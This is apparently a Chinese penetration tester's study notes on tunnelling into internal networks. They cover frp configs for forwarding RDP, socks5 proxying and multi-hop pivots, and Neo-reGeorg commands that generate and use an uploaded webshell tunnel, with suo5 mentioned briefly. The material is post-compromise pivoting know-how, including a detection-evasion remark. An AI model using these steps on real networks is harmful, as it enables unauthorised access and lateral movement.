隧道代理-应用层内网代理
内网代理技术一般采用http或者socks代理
市面上的工具很多,这里咨询了下大佬,就暂时先学习几个常用的:
- frp
- suo5
- neo-regeorg
(Daac0ng师傅说其实很多情况直接用c2开一个隧道,然后proxifier代理一下就好了)
frp
一个专注于内网穿透的高性能反向代理工具,支持TCP、UDP、HTTP、HTTPS等协议
在内网渗透中,frp可以用来进行内网隧道搭建,另外frp也支持搭建socks5代理应用
frp分为windows和linux系统两个版本,主要包含这些文件:
- frps:服务端程序
- frps.ini:服务端配置文件
- frpc:客户端文件
- frpc:客户端配置文件
使用时,将 frps 及 frps.ini 放到具有公网 IP 的机器上,将 frpc 及 frpc.ini 放到处于内网环境的机器上
服务端配置(frps)
配置文件内容:
[common]
bind_port = 7000
# 默认配置中监听7000端口,可根据实际情况修改
启动代理文件:
./frps -c ./frps.ini
客户端配置(frpc)
假设 FRP 服务端所在主机的公网 IP 为 x.x.x.x
配置文件内容:
[common]
server_addr = x.x.x.x
server_port = 7000
启动文件:
./frpc -c ./frpc.ini
配置文件其他功能
配置文件非常重要,需要什么功能就可以进行不同的配置,来进行代理
参考文档:参考 | frp (gofrp.org)
搭建场景
端口转发
将内网端口(这里以3389为例)转发到公网
-
客户端配置:
[common] bind_port = 7000
-
服务端配置:
[common] server_addr = x.x.x.x server_port = 7000 [3389] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 6000
如此可以实现RDP连接
搭建socks隧道
搭建实现对目标主机的全端口访问
-
客户端配置:
[common] bind_port = 7000
-
服务端配置:
[common] server_addr = x.x.x.x server_port = 7000 [socks5] type = tcp plugin = socks5 remote_port = 6000
用proxifier代理到x.x.x.x
的6000端口,如此即可实现全端口访问
搭建socks多级隧道
搭建多级隧道:
-
主机A配置服务端:
[common] server_addr = 192.168.X.X server_port = 7001 [socks5] type = tcp plugin = socks5 remote_port = 6000
-
主机B配置客户端:
[common] bind_port = 7001
这里搭建了一个隧道内网,接下来是端口转发:
-
主机B上配置服务端
[common] server_addr = x.x.x.x server_port = 7000 [portforward] type = tcp local_ip = 127.0.0.1 remote_port = 6000 local_port = 6000
-
主机C上配置客户端:
[common] bind_port = 7000
如此,通过proxifier代理x.x.x.x:6000
即可实现多级代理
Neo-reGeorg
github地址:Neo-reGeorg
介绍
Neo-reGeorg是一个HTTP正向隧道工具,是reGeorg的一个重构升级项目,Neo-reGeorg相对于reGeorg增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持py3等等
了解到这个工具是因为uu2师傅问了我一个场景问题:
你拿了机器shell,只有80端口入网出网,80端口还被占用不能frp你怎么办
那么这里当然只能想办法从80端口搭http隧道,而又不能影响web服务,那么就想到了基于webshell进行搭建,于是便了解到两款好用的代理工具:neo-rgeorg、suo5
原理
引用一张图,非常精辟:
即将socks代理数据包裹在http协议里边
使用
生成webshell
Neo-reGeorg生成webshell,这里生成的密钥是后续连接使用的,防止被其他攻击者利用
python neoreg.py generate -k <指定密钥>
上传webshell并连接
使用neoreg连接目标脚本文件(-p指定端口,默认为1080)
python neoreg.py -k <已经设定的密钥> -u <http://xxx.xxx.xxx/tunnel.aspx> -p <prot>
配合proxifier进行流量转发
代理地址为127.0.0.1,端口为Neo-reGeorg转发的端口地址,协议选择socks5,即可实现http正向代理
Neo-reGeorg的速度和稳定性一般,并且有个比较大的问题是无法在反向代理的场景使用,最常见的 Nginx + Tomcat 的场景就无法使用,这里便引出一个更好的webshell正向代理工具:suo5
suo5
github地址:suo5: 一款高性能 HTTP 代理隧道工具
suo5
是一个高性能 HTTP 隧道代理工具,它基于双向的 Chunked-Encoding
构建, 相比 Neo-reGeorg 等传统隧道工具, suo5
的性能可以达到其数十倍
原理介绍 https://koalr.me/posts/suo5-a-hign-performace-http-socks/
如果目标是 Java 的站点,可以使用 suo5
来构建 http 隧道,大多数情况下 suo5
都要比 neo
更稳定速度更快。但 neo
提供了非常多种类的服务端支持,兼容性很好,而且也支持一些 suo5
当前还在开发的功能,也支持更灵活的定制化
具体的使用不在赘述,参考github即可